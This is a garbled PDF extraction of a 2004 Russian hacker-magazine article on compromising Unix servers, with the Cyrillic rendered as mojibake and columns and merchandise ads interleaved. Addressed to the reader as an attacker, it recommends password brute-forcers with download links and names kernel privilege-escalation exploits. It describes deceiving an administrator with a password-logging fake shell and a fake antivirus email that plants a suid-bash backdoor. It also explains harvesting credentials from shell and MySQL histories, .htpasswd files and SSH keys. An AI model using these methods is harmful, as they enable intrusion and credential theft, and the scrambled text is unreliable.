                                   ëåííîé ìàøèíå, ñîåäèíèâøèñü ñ íåé               êîòîðûå îáåñïå÷àò àâòîçàïîëíåíèå            ñîòåí òàêèõ æå "çàòðîÿííåíûõ" ñèñ-
                                   ïîäðó÷íûì òåðìèíàëüíûì êëèåíòîì.                íåèçìåííûõ ïîëåé.                           òåì è øëåò âñåì êîìàíäó.  íåé, êàê
                                     Þíèêñîèäàì ïîíðàâèòñÿ òâîðåíèå                                                            òû óæå äîãàäàëñÿ, ñîäåðæèòñÿ ïðè-
                                   õàêåðñêîé êîìàíäû THC (thc.org) ïîä             ÓÁÅÉ ÅÃÎ ÏÐÀÂÈËÜÍÎ                          íóæäåíèå óáèòü ñàéò whitehouse.gov.
                    Êîãäà àäìèí    íàçâàíèåì hydra                                     Ñëó÷àåòñÿ òàê, ÷òî çëîóìûøëåí-          Êîíå÷íî, ïðîãðàììà ./ddos – ÷èñòàÿ
                    çàïðåòèë       (http://thc.org/download.php?t=r&f=hydra-4.1-   íèêó íå íóæåí øåëë, à âçëîì âåäåòñÿ         àáñòðàêöèÿ, íî ïðèíöèï ðàáîòû çîì-
                    èñïîëüçîâà-
                    íèå êîìàí-     src.tar.gz). Ýòîò áðóòôîðñ ïî âîçìîæ-           òîëüêî äëÿ òîãî, ÷òîáû ñòåðåòü ìàøè-        áè-ñåðâåðîâ èìåííî òàêîé.
                    äû locate      íîñòÿì äàæå îïåðåæàåò Brutus, ïîñ-              íó ñ ëèöà èíòåðíåòà. Òàêèå àòàêè ÷àñ-         Ïîìèìî ïðîãðàìì ñóùåñòâóþò çëûå
                    èëè íå óñ-
                    òàíîâèë åå     êîëüêó óìååò ïåðåáèðàòü àêêàóíòû íà             òî âûïîëíÿþòñÿ ïî çàêàçó. DDoS îò-          IRC-áîòû è öåëûå áîòíåòû, ñîçäàííûå
                    íà ñåðâåð      ìàðøðóòíèêàõ Cisco è ïî ðàçëè÷íûì               íîñèòñÿ ê ñàìûì çëîñ÷àñòíûì àòàêàì,         äëÿ òîãî, ÷òîáû îñòàíàâëèâàòü ðàáîòó
                    âîîáùå, èñ-    ïðîòîêîëàì (VNC, https, netbios è ò.ï.).        çà ïðîâåäåíèå êîòîðîé ìîãóò îòîð-           ñåðâåðîâ ëþáîé ìîùíîñòè. Åñëè áîòî-
                    ïîëüçóé â
                    êà÷åñòâå       ×òî êàñàåòñÿ ïðîñòûõ ñëóæá òèïà FTP             âàòü êîíå÷íîñòè. Âñå èç-çà òîãî, ÷òî        âîä çàñòàâèò íà îïðåäåëåííîì êàíàëå
                    ïîèñêîâîé      è POP3, òî ìíîãîïîòî÷íàÿ hydra òîæå             âåñü ïåðåãíàííûé ìóñîð îïëà÷èâàåò           ôëóäèòü êàêóþ-íèáóäü æåðòâó, âñå áî-
                    êîìàíäû
                    áèíàðíèê       ëåãêî ñïðàâèòñÿ ñ çàäà÷åé. Òðåáóåòñÿ
                    find.          ëèøü çàäàòü íåñêîëüêî ãëàâíûõ
                                   (âîðäëèñò, õîñò, ïîðò è íàçâàíèå ñåð-




                    Ñàìûé ëó÷øèé áðóòôîðñåð                                         Îöåíè âîçìîæíîñòè hydra

                                    ÕÀÊÅÐÑÏÅÖ   10(47)   2004
                                                                                                  19



Î ÏÅÐÅÁÎÐÙÈÊÀÕ




                                                                                                                           ÍÅÏÐÈÑÒÓÏÍÛÉ *NIX
  Êàê òû çíàåøü, áðóòôîðñ ìîæåò áûòü àêòóàëåí è äëÿ ëîêàëüíûõ
àòàê. Åñëè òû íàõîäèøü ïàðîëüíûé õýø, ýòî åùå íå îçíà÷àåò, ÷òî
òû ïîëó÷èë àáñîëþòíûå ïðàâà. Ïåðåä òåì êàê ïðàçäíîâàòü ïîáåäó,
íóæíî ðàñøèôðîâàòü ïàðîëü. Ïðàêòè÷åñêè âñåãäà äëÿ çàøèôðîâ-
êè èñïîëüçóåòñÿ íåîáðàòèìûé àëãîðèòì, ïîýòîìó è ïðèõîäèòñÿ
âçëàìûâàòü îáû÷íûì ïåðåáîðîì. Íèêòî íå ïðèíóæäàåò òåáÿ äåëàòü
ýòî âðó÷íóþ, èáî â èíåòå ìîæíî íàéòè ìíîæåñòâî àâòîìàòèçèðî-
âàííûõ ïåðåáîðùèêîâ.

1. John The Ripper.
Óíèâåðñàëüíûé ëî-                                                   Îáìåí ìåæäó ìàøèíàìè-çîìáè
êàëüíûé áðóòôîðñåð,
ïîääåðæèâàþùèé àë-                                                 òû ðàçîì íà÷íóò ñëàòü ñåòåâûå ïàêåòû
ãîðèòìû DES, MD5,                                                  íà ðàçëè÷íûå ñåðâèñû, â ðåçóëüòàòå
OpenBSD BlowFISH è                                                 ÷åãî ñåðâåð ïðîñòî íå ñïðàâèòñÿ ñ èõ
íåêîòîðûå     äðóãèå.                                              îáðàáîòêîé. Äëÿ ñïðàâêè, ÷èñëî òàêèõ
Áîëüøèíñòâî ïàðîëåé                                                áîòîâ ìîæåò êîëåáàòüñÿ îò ïàðû ñîòåí
                                                                   äî íåñêîëüêèõ äåñÿòêîâ òûñÿ÷ íà îä-
çàøèôðîâàíî âûøå- Óñåðäíûå ñòàðàíèÿ Äæîíèêà                        íîì êàíàëå. Çà áîëåå ïîäðîáíîé èí-       Îáÿçàòåëü-
ïåðå÷èñëåííûìè àë-                                                 ôîðìàöèåé ïî DoS-àòàêàì, îáðàùàéñÿ       íî ïîñåòè
ãîðèòìàìè, ïîýòîìó Äæîíèê áåç òðóäà ðàñøèôðóåò ïàðîëü, åñëè,       ê òåìàòè÷åñêîé ñòàòüå â ýòîì íîìåðå.     ðåñóðñ
                                                                                                            www.thc.org
êîíå÷íî, èìååòñÿ õîðîøèé âîðäëèñò è äîñòàòî÷íî òåðïåíèÿ, âåäü                                               è îçíàêîìü-
ïåðåáîð – ïðîöåññ î÷åíü ìåäëåííûé. Ñêà÷àòü Äæîíà ìîæíî îòñþ-       ËÎÊÀËÜÍÛÅ ØÀËÎÑÒÈ                        ñÿ ñî âñåìè
                                                                                                            ðåëèçàìè
                                                                        ñëó÷àå óñïåøíî ïðîâåäåííîé         ãðóïïû. Ðå-
                                 1
äà: www.openwall.com/john/a/john-16w.zip.                          óäàëåííîé àòàêè, âçëîìùèê ïîëó÷èò        áÿòà ïèøóò
                                                                                                            î÷åíü èíòå-
                                                                   êàêèå-íèáóäü ñèñòåìíûå ïðèâèëå-          ðåñíûå âå-
2. MD5Inside.                                                      ãèè. Èìåííî ýòîò èñõîä ìîæíî ñ÷è-        ùè.
Ïðåäñòàâü ñèòóàöèþ: òû îòûñêàë                                     òàòü óäà÷íûì, ïîñêîëüêó çà óäàëåí-
ïàðîëü íà äîñòóï ê ÁÄ, çàëåç òó-                                   íîé àòàêîé âñåãäà ñëåäóåò ëîêàëü-
äà è íàòêíóëñÿ íà... âñå àêêàóíòû                                  íàÿ. Íàñòàëî âðåìÿ ïîíèæàòü äîáû-
äëÿ mail.ru :). Âîò òîëüêî äîñàäíî,                                òûå ïðàâà äî ìàãè÷åñêîãî óèäà 0,
                                                                   ïåðåä êîòîðûì ïðåêëîíÿòñÿ äàæå           Ïàðîëü äëÿ
÷òî âìåñòî ïàðîëåé ïðåäñòàâëå-                                     ñàìûå çàùèùåííûå áèíàðíèêè ;). Íî        MySQL
íà ïîñëåäîâàòåëüíîñòü çàãëàâ-                                      ïîëó÷èòü ðóòà î÷åíü ñëîæíî (îñî-         ìîæíî íàé-
                                                                                                            òè â
íûõ áóêâ è âñåâîçìîæíûõ öèôð.                                      áåííî â çàùèùåííûõ ñèñòåìàõ), ïîý-       .bash_histo-
                                                                   òîìó ïîñòîÿííî ïðèõîäèòñÿ âêëþ-          ry, ïîòîìó
Ïîçäðàâëÿþ, òû òîëüêî ÷òî îáíà-                                                                             ÷òî àäìèíû
ðóæèë MD5-õýøè, íî â øåñòíàä-                                      ÷àòü ñîîáðàæàëîâêó è áûòü âïåðåäè        ÷àñòî âáè-
                                                                   àäìèíà õîòÿ áû íà îäèí øàã. Ýòî          âàþò åãî
öàòåðè÷íîé ôîðìå. Ê ñîæàëå-                                        î÷åíü íåïðîñòî, íî âîçìîæíî.
                                                                                                            ïðÿìî â êî-
                                                                                                            ìàíäíîé
íèþ, Äæîíèê íå ñìîæåò ñëîìàòü                                                                               ñòðîêå
                                                                                                            (mysql –h
ýòîò ïàðîëü, îäíàêî åñëè òû ñêà-                                   ÑÊÀ×ÀÉ, ÇÀÏÓÑÒÈ È ÑËÎÌÀÉ!                õîñò –u user
÷àåøü ïðîãðàììó MD5Inside, òî Ïðîöåññ ïåðåáîðà õýøåé MySQL             Ñàìûé ïåðâûé è ëåãêèé ïóòü ëî-       –pÏàðîëü).

íàâåðíÿêà äîáüåøüñÿ óñïåõà.                                        êàëüíîãî âçëîìà – ïðèìåíåíèå
                                                                   ýêñïëîèòà. Ïðàâäà, âìåñòî ïðåäâàðè-
Ñàìà ñîôòèíà èìååò ãðàôè÷åñêóþ îáîëî÷êó, òàê ÷òî ñ íåé ðàçáå-      òåëüíîãî ñêàíèðîâàíèÿ ïîðòîâ ïðè-
ðåòñÿ äàæå ïîëíûé ëàìåð :). Ñêîðîñòü ïåðåáîðà î÷åíü âûñîêà èç-     äåòñÿ íàéòè áàæíûé ñóèäíûé áèíàð-
çà èñïîëüçîâàíèÿ òðåäîâ. Áåðè ïîëåçíóþ òóëçó ñ ñàéòà NSD           íèê ëèáî äûðî÷êó â ÿäðå, à òîëüêî ïî-    Åñëè çà
(nsd.ru/soft/1/md5inside_1_0.rar) è ðàäóéñÿ æèçíè!                 òîì ïîäûñêèâàòü íóæíûé ñïëîèò.           òâîåé ñåñ-
                                                                   Ïðîáëåìû ïðè èñïîëüçîâàíèè ýòîé          ñèåé íå çàê-
                                                                                                            ðåïëåí
3. MD5Crack.                                                       àòàêè ìîãóò áûòü ñàìûìè ðàçíûìè.         ïñåâäîòåð-
Ñîôòèíà ïîõîæà íà MD5Inside. Îíà äàæå ñëóæèò äëÿ ðàñøèôðîâ-        Ïåðâàÿ – îòñóòñòâèå áàãîâ. Åñëè ñèñ-     ìèíàë (ïîï-
                                                                                                            ðîñòó ãîâî-
                                                                   òåìà ñâåæàÿ, äàæå â ñëó÷àå ñóùåñò-       ðÿ, òû èìå-
êè àíàëîãè÷íûõ ïàðîëåé. Íî MD5Crack (mdcrack.df.ru/download/       âîâàíèÿ ðàáî÷åãî ýêñïëîèòà ïðîñòîìó      åøü îáû÷-
mdcrack.exe) ÿâëÿåòñÿ ïîëíîñòüþ êîíñîëüíûì ïðèëîæåíèåì. Ê òî-      ñìåðòíîìó åãî íå äîñòàòü. Áûâàåò, ÷òî    íûé WWW-
                                                                                                            øåëë), òî
ìó æå, ïðîãðàììà óìååò èñêàòü êîëëèçèþ, òî åñòü ïåðåñå÷åíèÿ äâóõ   è â óáîãèõ ñèñòåìàõ àäìèíû ïàò÷àò        äëÿ ñîåäè-
çàâåäîìî ðàçíûõ ïàðîëåé â îäíîì õýøå. Ñìîòðè, ëîïîóõèé þçåð        ÿäðî è íåùàäíî ñíîñÿò âñå óÿçâèìûå       íåíèÿ ñ áà-
                                                                                                            çîé èñïîëü-
ìîã óñòàíîâèòü ñåáå ïàðîëü                                         áèíàðíèêè (ëèáî ñíèìàþò ñ íèõ ñóèä-      çóé êîìàíäó
                                                                   áèò). È, íàêîíåö, èñïîëüçîâàòü           mysql –pïà-
«GrW4M#1331337», íî îí äàæå                                        ýêñïëîèò ïðîáëåìàòè÷íî â îòñóòñòâèå      ðîëü –e
                                                                                                            ‘select *
íå äîãàäûâàåòñÿ, ÷òî åãî ýëèò-                                     ðàáî÷åãî êîìïèëÿòîðà (îá ýòîé ñèòóà-     from table’.
íûé ïàññâîðä ïåðåñåêàåòñÿ ñ                                        öèè ÿ ðàññêàæó ÷óòü íèæå).
ïðîñòîé ïîñëåäîâàòåëüíîñòüþ                                          Äàâàé îïðåäåëèìñÿ, ñ êàêèõ øàãîâ
«1234». Óìíàÿ òóëçà áûñòðî                                         ëó÷øå âñåãî íà÷èíàòü àòàêó. Êàê
                                                                   òîëüêî ïîëó÷åí íîðìàëüíûé øåëë,
íàéäåò òàêîå ïåðåñå÷åíèå, ðàñ-                                     íóæíî âûïîëíèòü ðÿä êîìàíä, ÷òîáû
øèôðîâàâ ïàðîëü çà íåñêîëü-                                        îïðåäåëèòü äàëüíåéøóþ òàêòèêó
êî ñåêóíä!                       Áûñòðûé ïîèñê êîëëèçèé            âçëîìà. Âî-ïåðâûõ, ñëåäóåò íàáðàòü
                                                                   uname –a è óçíàòü âåðñèþ îïåðàöèîí-
                                                                   êè. Åñëè ýòî Linux, ìîæíî âûâåñòè íà »
                                         20   ÂÇËÎÌ         ÀÒÀÊÀ ÈÍÒÅËËÅÊÒÀ

                                    ïå÷àòü ôàéë /etc/*-release è ïîñìîò-
                                    ðåòü êîíå÷íîãî ïðîèçâîäèòåëÿ ñèñòå-         ÑÈËÀ ÍËÏ
ÍÅÏÐÈÑÒÓÏÍÛÉ *NIX




                                    ìû.  ñëó÷àå åñëè âçëîìùèê íàòêíóë-
                                    ñÿ íà íîâóþ FreeBAS, åìó ñòîèò çà-            Ñóùåñòâóþò àëüòåðíàòèâíûå ñïîñîáû âçëîìà ñåðâåðà. Îäèí èç
                                    áûòü îá ýêñïëîèòàõ. Íà ôðèøíûå ñåð-         íèõ – ñîöèàëüíàÿ èíæåíåðèÿ. Åå ìîæíî èñïîëüçîâàòü êàê äëÿ óäà-
                                    âèñû ðàáî÷èõ íîâèíîê íå áûëî î÷åíü          ëåííîãî, òàê è äëÿ ëîêàëüíîãî âçëîìà. Äîïóñòèì, òû çíàåøü àñüêó
                                    äàâíî. À êàêóþ-íèáóäü SunOS, íàîáî-         àäìèíà, è òåáå ïîçàðåç ïîíàäîáèëñÿ ïàðîëü íà åãî ñåðâåð :). Äëÿ
                                    ðîò, î÷åíü ëåãêî âçëîìàòü, ýêñïëîèòû        óïðîùåíèÿ çàäà÷è ïðåäïîëîæèì, ÷òî ëîãèí òåáå èçâåñòåí. Ìîæíî
                                    åñòü è äëÿ ïîñëåäíèõ ðåëèçîâ.               ïîñòó÷àòüñÿ ê àäìèíó â àñþ è èíòåëëèãåíòíî ïîïðîñèòü ïàðîëü :).
                                      Ê ïðèìåðó, ïîñëå âûâîäà uname –a
                                                                                Ïðàâäà, ñêîðåå âñåãî, òåáÿ ïîøëþò êóäà ïîäàëüøå. À âîò åñëè òû
                                    bash ïîêàçàë, ÷òî ñèñòåìà âåðòèòñÿ íà
                                                                                íà÷íåøü èçäàëåêà, ïîäðóæèøüñÿ ñ íèì è ïîïðîñèøü ïîìî÷ü ñ
                                    ÿäðå 2.4.20-smp. Ýòî îçíà÷àåò, ÷òî õà-
                                    êåð ïîèìåë õîðîøóþ äâóõïðîöåññîð-           íàñòðîéêîé êàêîãî-íèáóäü êîíôèãà, òî ýòî äðóãîå äåëî. Ñêàæè, ÷òî
                                    íóþ òà÷êó. Òîëüêî âîò ÿäðî ó ýòîé ìà-       äàåøü åìó øåëë íà ñâîþ òà÷êó, çàòåì ïðîïèñûâàé åìó
                                    øèíû íå òàêîå óæ è õîðîøåå. Ìîæíî           /usr/bin/xpasswd â êà÷åñòâå èíòåðïðåòàòîðà è óñòàíàâëèâàé ïóñ-
                                    ïðîâåñòè àòàêó ýêñïëîèòîì isec-             òîé ïàðîëü. Òåïåðü ïðîñè åãî çàëîãèíèòüñÿ. Åñòåñòâåííî, ÷òî àäìèí
                                    ptrace.c è áûñòðî ïîëó÷èòü ðóòîâûå          ïîïðîñèò òåáå ïîñòàâèòü íîðìàëüíûé øåëë, íî òû ñêàæåøü, ÷òîáû
                                    ïðèâèëåãèè. Äëÿ ýòîãî äàæå íå íóæåí         îí óñòàíîâèë ñåáå ïàðîëü ñàìîñòîÿòåëüíî. Ñ áîëüøîé âåðîÿò-
                                    ïñåâäîòåðìèíàë, êîòîðûé íàñòîÿòåëü-         íîñòüþ ñèñàäì óñòàíîâèò ñâîé ðîäíîé ïàðîëü, íè÷åãî íå çàïîäîç-
                                    íî òðåáîâàëè ïðåäûäóùèå ýêñïëîèòû           ðèâ (âåäü ïàðîëè-òî êðèïòóþòñÿ!). Äóìàþ, íå ñòîèò ãîâîðèòü, ÷òî
                                    ptrace-óÿçâèìîñòè. ×òî êàñàåòñÿ
                                                                                xpasswd – ýòî ðàíåå íàïèñàííûé òîáîé ñêðèïò, ñîäåðæàùèé â ñåáå
                                    Solaris, òî åå ÿäðî ïðîáèâàåòñÿ ñ îäíî-
                                                                                ëîãèðîâàíèå ïàðîëÿ, à çàòåì åãî óñòàíîâêó â êà÷åñòâå ñèñòåìíîãî.
                                    ãî óäàðà. Ñóùåñòâóåò ñïëîèò, ïîçâîëÿ-
                                    þùèé ïîäãðóçèòü ìîäóëü ñ ïðîèç-
                                    âîëüíûì êîäîì. Ïîäãðóçêà, êàê òû óæå        Åñëè ãîâîðèòü î ïðèìåíåíèè ÍËÏ ê ëîêàëüíîìó âçëîìó, òî íà óì
                                    äîãàäàëñÿ, ïðîèçâîäèòñÿ îò îáû÷íûõ          ïðèõîäèò îäíà èíòåðåñíàÿ èäåÿ. Ïðîâåðü, åñòü ëè íà ñåðâåðå àíòè-
                                    þçåðñêèõ ïðàâ, êîòîðûå òû ïîëó÷èë           âèðóñ. Åñëè åñòü, ïîñìîòðè åãî íàçâàíèå è âåðñèþ. Òåïåðü ïèøè àä-
                                    ïîñëå óñïåøíîé óäàëåííîé àòàêè.             ìèíó ïèñüìî, ìîë, íàéäåí ôåíîìåíàëüíûé âèðóñ, è åãî î÷åíü ðåêî-
                                       ñëó÷àå, êîãäà âñòðå÷àåòñÿ ÿäðûøêî       ìåíäóåòñÿ îòïðàâèòü íà ýêñïåðòèçó. ×òîáû ïîäòâåðäèòü îòïðàâêó,
                                    ïîñòàáèëüíåå, íàïðèìåð, 2.6.7 èëè           çàïóñòèòå ôàéëèê /tmp/antivirus-accept è ïðèìèòå âñå ñîãëàøåíèÿ.
                    Ïðè æåëà-       2.4.20, íî ñ ïðåôèêñîì –grsecure, ìîæ-      Ïîäïèøè ïèñüìî àíòèâèðóñîì, ÷òîáû àäìèí íàâåðíÿêà ïîâåðèë â
                    íèè áðóò-       íî íå ïèòàòü íàäåæäó íà òî, ÷òî êåðíåë
                    ôîðñ ìîæíî                                                  âàæíîñòü ýòîãî ìûëà. Ñàì ôàéë â /tmp áóäåò ïðåäñòàâëÿòü ñîáîé
                    íàïèñàòü        âîçüìåòñÿ îáû÷íûì ptrace-ýêñïëîéòîì.
                                                                                ñêîìïèëèðîâàííûé áýêäîð, ñîçäàþùèé ñóèäíûé bash. Âîò è âñå.
                    ñàìîñòîÿ-       Â òàêîé ñèòóàöèè õàêåð äàæå íå òðàòèò
                    òåëüíî.         âðåìåíè íà ïîèñêè ýêñïëîèòà, èáî çíà-       Åñëè òû íå êîììóíèêàáåëüíûé ÷åëîâåê, ëó÷øå òåáå íå ëåçòü â ñî-
                    Äîñòàòî÷íî
                    çíàòü ïðî-      åò, ÷òî ïàò÷è è ñâåæèå ðåëèçû óæå íå        öèàëüíóþ èíæåíåðèþ, à îãðàíè÷èòüñÿ äðóãèìè ìåòîäàìè âçëîìà.
                    òîêîë îáìå-     ñîäåðæàò ñòàðûõ áàãîâ.
                    íà (ìåæäó
                    êëèåíòîì è        Áûâàåò, ÷òî íà ìàøèíå âåðòèòñÿ
                    ñåðâåðîì) è     ñåêüþðíîå ÿäðî, íî òàêæå î÷åíü áàæ-
                    íåìíîãî
                    âëàäåòü         íûå áèíàðíèêè. Íàïðèìåð, ÿ âñòðå-         ÏÎÈÑÊ! ÒÎËÜÊÎ ÏÎÈÑÊ!                      ÷èòàáåëüíûå ôàéëû .bash_history è
                    ÿçûêîì          ÷àëñÿ ñ Linux RedHat 7.3 ñ ïàò÷åì îò          Äðóãîé ìåòîä ïîâûøåíèÿ ïðèâè-         .mysql_history.  ïåðâîì èç íèõ ìîæíî
                    ïðîãðàììè-      grsecurity, íî óÿçâèìûì ïðèëîæåíèåì       ëåãèé çàêëþ÷àåòñÿ â ïîèñêå ñåêðåòíîé      îáíàðóæèòü ïàðîëü äëÿ ñóïåðïîëüçî-
                    ðîâàíèÿ.
                                    /usr/sbin/sudo. Ïðè òàêîì ðàñêëàäå ÿ      èíôîðìàöèè. Íåò, ñîâñåì íåîáÿçàòåëü-      âàòåëÿ. Ñëó÷àåòñÿ, ÷òî àäìèíèñòðàòîð
                                    æåëàë ïîëó÷èòü ðóòà ïîñëå ïðèìå-          íî îòûñêèâàòü ðàçëè÷íûå äîêóìåíòû,        íàïèñàë íåâåðíóþ êîìàíäó su (sy èëè
                                    íåíèÿ ýêñïëîèòà hudo.c, íî îáëîìàë-       íóæíî ïðîñòî îïðåäåëèòü íàëè÷èå â         si), à çàòåì âñëåïóþ âáèë ðóòîâûé ïà-
                                    ñÿ. Äåëî â òîì, ÷òî ñåðâåð, ÿâëÿëñÿ       ñèñòåìå ïàðîëüíûõ õýøåé. ×àñòî ïàðî-      ðîëü. Ïàðîëü, êîíå÷íî æå, ñîõðàíèòñÿ
                                    õîñòèíãîì, ïîýòîìó âñåì þçåðàì            ëè âñòðå÷àþòñÿ â ôàéëàõ .htpasswd,        â ëîãå êîìàíä. Íàõîäêà äëÿ õàêåðà, íå
                                    ïðèêðûâàëñÿ äîñòóï ê /usr/bin/gcc. ß      îíè íàõîäÿòñÿ â web-çîíå. Ïîèñê îñó-      òàê ëè? Êðîìå ýòîãî, âîçìîæåí ñëó-
                                    îöåíèë çàùèòó àäìèíà, çàòåì ñêîì-         ùåñòâëÿåòñÿ êîìàíäîé locate .htpass-      ÷àé, ïðè êîòîðîì àäìèíèñòðàòîð ëîãè-
                                    ïèëèë ýêñïëîèò íà äðóãîì ïèíãâèíå         wd. Áûâàåò, ÷òî äîêóìåíò íå òîëüêî        íèòñÿ ê MySQL, èñïîëüçóÿ ñèñòåìíûé
                                    è ïåðåòàùèë áèíàðíèê íà õîñòèíãî-         îòêðûò íà ÷òåíèå, íî è ñîäåðæèò â ñåáå    ïàðîëü. Òàêèõ ñëó÷àåâ î÷åíü ìíîãî,
                                    âóþ ìàøèíó. Îñòàâàëîñü çàïóñòèòü          ðóòîâûé õýø, êîòîðûé ëåãêî ðàñøèô-        íàâåðíîå, êàæäûé òðåòèé ëîêàëüíûé
                                    ïðèëîæåíèå è íàñëàæäàòüñÿ ðóòî-           ðîâàòü ñ ïîìîùüþ John The Ripper. Ïî-     âçëîì ïðîèñõîäèò áëàãîäàðÿ õîðîøå-
                                    âûìè ïðàâàìè.                             ìèìî ñïèñêà .htpasswd ìîæíî çàïðî-        ìó óðîæàþ èç ëîãà êîìàíä :).
                                      Äóìàþ, ñìûñë òû óëîâèë. Åñëè íà         ñèòü êîíôèãè .htaccess, à çàòåì ïðî÷è-      Òåïåðü ïîãîâîðèì î MySQL. Äîñòóï ê
                                    ñåðâåðå åñòü óÿçâèìûå áèíàðíèêè           òàòü èõ. Áûâàåò, ÷òî þçåð ñîõðàíÿåò ïà-   áàçå - ýòî òîæå ñâîåãî ðîäà äîïîëíè-
                                    èëè ñòàðîå ÿäðî – íîãè â ðóêè è áåãîì     ðîëè â ôàéëå ñ ïðîèçâîëüíûì èìåíåì.       òåëüíûå ïðàâà. Âåäü â ÁÄ ìîãóò ñî-
                                    íà ñàéòû ïî áåçîïàñíîñòè çà ñâåæèìè       Ïîñëåäíåå ëåãêî óçíàòü ïî çíà÷åíèþ        äåðæàòüñÿ òàáëèöû ñ êðåäèòíûìè êàð-
                                    (èëè ÷óòü ïðîòóõøèìè) ýêñïëîèòàìè.        äèðåêòèâû UserFile â httpd.conf.          òàìè, àêêàóíòàìè íà êàêèå-ëèáî ñåðâè-
                    Îøèáêà àäìè-    Íà ìàøèíå ñâåæàÿ ñèñòåìà è íàïðî÷ü          Êîíôèãè îò Web - ýòî ëèøü âåðõóø-       ñû è ò.ï. Ñëþíêè ïîòåêëè? Åùå áû :).
                    íà ïðèâîäèò ê   îòñóòñòâóþò ñóèäíûå ïðèëîæåíèÿ?           êà àéñáåðãà. Íàñòîÿùàÿ ñèëà íàõîäèò-      ×òîáû äîñòàòü ïàðîëü îò áàçû, îñîáî
                    ôàòàëüíîìó
                    èñõîäó
                                    Òîãäà ïðèäåòñÿ ïîïðîáîâàòü äðóãîé         ñÿ â ëîãàõ! Åñëè ïîèñê ïî Web íè÷åãî      ïàðèòüñÿ íå íàäî.  ïåðâóþ î÷åðåäü
                                    ñïîñîá ëîêàëüíîãî íàïàäåíèÿ.              íå äàë, ñòîèò ïîïðîáîâàòü ïîèñêàòü        íóæíî èçó÷èòü PHP/CGI-ñêðèïòû íà
                                                                                                                        ïðåäìåò êîíôèãóðàöèîííûõ ôàéëîâ.
                                                                                                                        Íàïðèìåð, ÷àñòî ïåðåìåííûå äîñòóïà
                                                                                                                        çàïèñûâàþòñÿ â êîíôèã include.php.inc
                                                                                                                        ëèáî mysql.inc. Âòîðîé ñïîñîá óçíàòü
                                                                                                                        ïàðîëü – ïðî÷èòàòü .mysql_history.
                                                                                                                        Î÷åíü ÷àñòî àäìèíèñòðàòîð ñâåòèò
                                                                                                                        ïàññâîðä â ÷èñòîì âèäå ïîñëå âûïîë-
                                                                                                                        íåíèÿ êîìàíäû «blabla set
                                                                                                                        password=password(‘ïàðîëü’)». Íàêî-
                                                                                                                        íåö, åñëè íå ïîâåçëî, ìîæíî çàíÿòüñÿ
                    Áûñòðûé âçëîì ÿäðà                                         Íóæíû ïàðîëè? Áåç ïðîáëåì!               ëîêàëüíûì áðóòôîðñîì: çàëèòü íà ìà-
                                     ÕÀÊÅÐÑÏÅÖ   10(47)   2004
                                                                                                                ÈÃÐÛ
                                                                                                                ÏÎ ÊÀÒÀËÎÃÀÌ
                                                                                                                Ñ ÄÎÑÒÀÂÊÎÉ ÍÀ ÄÎÌ
                                                                           www.e-shop.ru www.xakep.ru www.gamepost.ru

                                                                                                              15,99
                                                                                                                    ó.å.

                                                                                 ÌÎËÎÄ,
                                                                       ÅÑËÈ ÒÛ         ÎÇÈÒÈÂ
                                                                                              ÅÍ,
                                                                                ×ÅÍ È Ï
                                                                        ÝÍÅÐÃÈ              «Õ» –
Îòëè÷íàÿ ðàáîòà ìîäóëÿ                                                               ÑÒÈËÅ       ËÅ!
                                                                         ÒÎ ÒÎÂÀÐÛ          ÅÌ ÑÒÈ
                                                                                 ÀÐ Û Â ÒÂÎ
                                                                          ÝÒÎ ÒÎÂ    Å
                                                                               ÍÎÑÈ Íß!
øèíó hydra è ïðîãíàòü âîðäëèñò äëÿ ñåðâèñà mysql. Âåäü,
êàê èçâåñòíî, íàäåæäà óìèðàåò ïîñëåäíåé :).                                                                       Ïèâíàÿ êðóæêà
ÏÎØÏÈÎÍÈÌ?                                                                     ÑÍÈÌÀ                              ñî øêàëîé ñ ëîãîòèïîì
                                                                                                                  ''Õàêåð''
     Èòàê, íàñòàë òîò çàâåòíûé ìîìåíò, êîãäà ïîëó÷åíû àá-
ñîëþòíûå ïðèâèëåãèè. Íî íà ýòîì ïðèêëþ÷åíèÿ íå çàêîí-
÷åíû. Îáû÷íî ïîñëå âçëîìà õàêåð îïðåäåëÿåòñÿ ñ äàëü-                         .å.
                                                                         99 ó                                             .å.
íåéøåé òàêòèêîé: ëèáî îí òðîÿíèò ìàøèíó è «ëîæèòñÿ íà                 13,9                                            99 ó
                                                                                                                   41,9
äíî», ëèáî àòàêóåò äàëüøå â íàäåæäå çàïîëó÷èòü áîëåå
âêóñíûé êóñîê, ÷åì ïðàâà ðóòà. ß ãîâîðþ î âçëîìå ëîêàëü-
íîé ñåòè, êîòîðîé âëàäåòü êóäà èíòåðåñíåå, ÷åì îáèòàòü íà
ìàðøðóòèçàòîðå. Íî äëÿ òîãî ÷òîáû ïðîäâèíóòüñÿ âïåðåä,
âçëîìùèêó íåîáõîäèìî óçíàòü ïàðîëè íà äðóãèõ ñåðâåðàõ.
Ýòî ïðîùå âñåãî ñäåëàòü äâóìÿ ñïîñîáàìè:                                  Ôóòáîëêà ''Crack me'' ñ ëîãîòèïîì         Êóðòêà - âåòðîâêà ''FBI'' ñ ëîãîòèïîì
                                                                            ''Õàêåð'' òåìíî-ñèíÿÿ, ñåðàÿ               ''Õàêåð'' ÷åðíàÿ, òåìíî-ñèíÿÿ
  1. Íàéòè èíôîðìàöèþ îá SSH-ñîåäèíåíèÿõ. Ýòè äàííûå
íàõîäÿòñÿ â ôàéëå ~user/.ssh/.known_hosts. Ïðîïàðñèâ
ýòîò êîíôèã, ìîæíî ïðèêîííåêòèòüñÿ íà ëþáîé õîñò èç
ñïèñêà. Ïàðîëü íà ñîåäèíåíèå ñ áîëüøîé âåðîÿòíîñòüþ                          .å.                                          .å.
                                                                         99 ó                                         99 ó
                                                                                                                   11,9
ñîâïàäåò ñ ñèñòåìíûì, êîòîðûé ìîæíî áåç ïðîáëåì ðàñ-                  15,9
øèôðîâàòü. À åñëè ó þçåðà èìåþòñÿ SSH-êëþ÷èêè, òî ñ ïî-
ìîùüþ ïðîñòîãî ñóèäà âçëîìùèê ñïîñîáåí ñîåäèíèòüñÿ ñ
óçëîì áåç äîïîëíèòåëüíîé àâòîðèçàöèè. Ïðàâäà, ñëåäóåò
ïîìíèòü, ÷òî â ñëó÷àå çàùèòû êëþ÷à ñåêðåòíîé ôðàçîé, åå
ìîæíî ëåãêî ðàñøèôðîâàòü ïóòåì áðóòôîðñà ïî ñëîâàð-                            Ôóòáîëêà ''Kill Bill Gates''                   Çàæèì äëÿ äåíåã
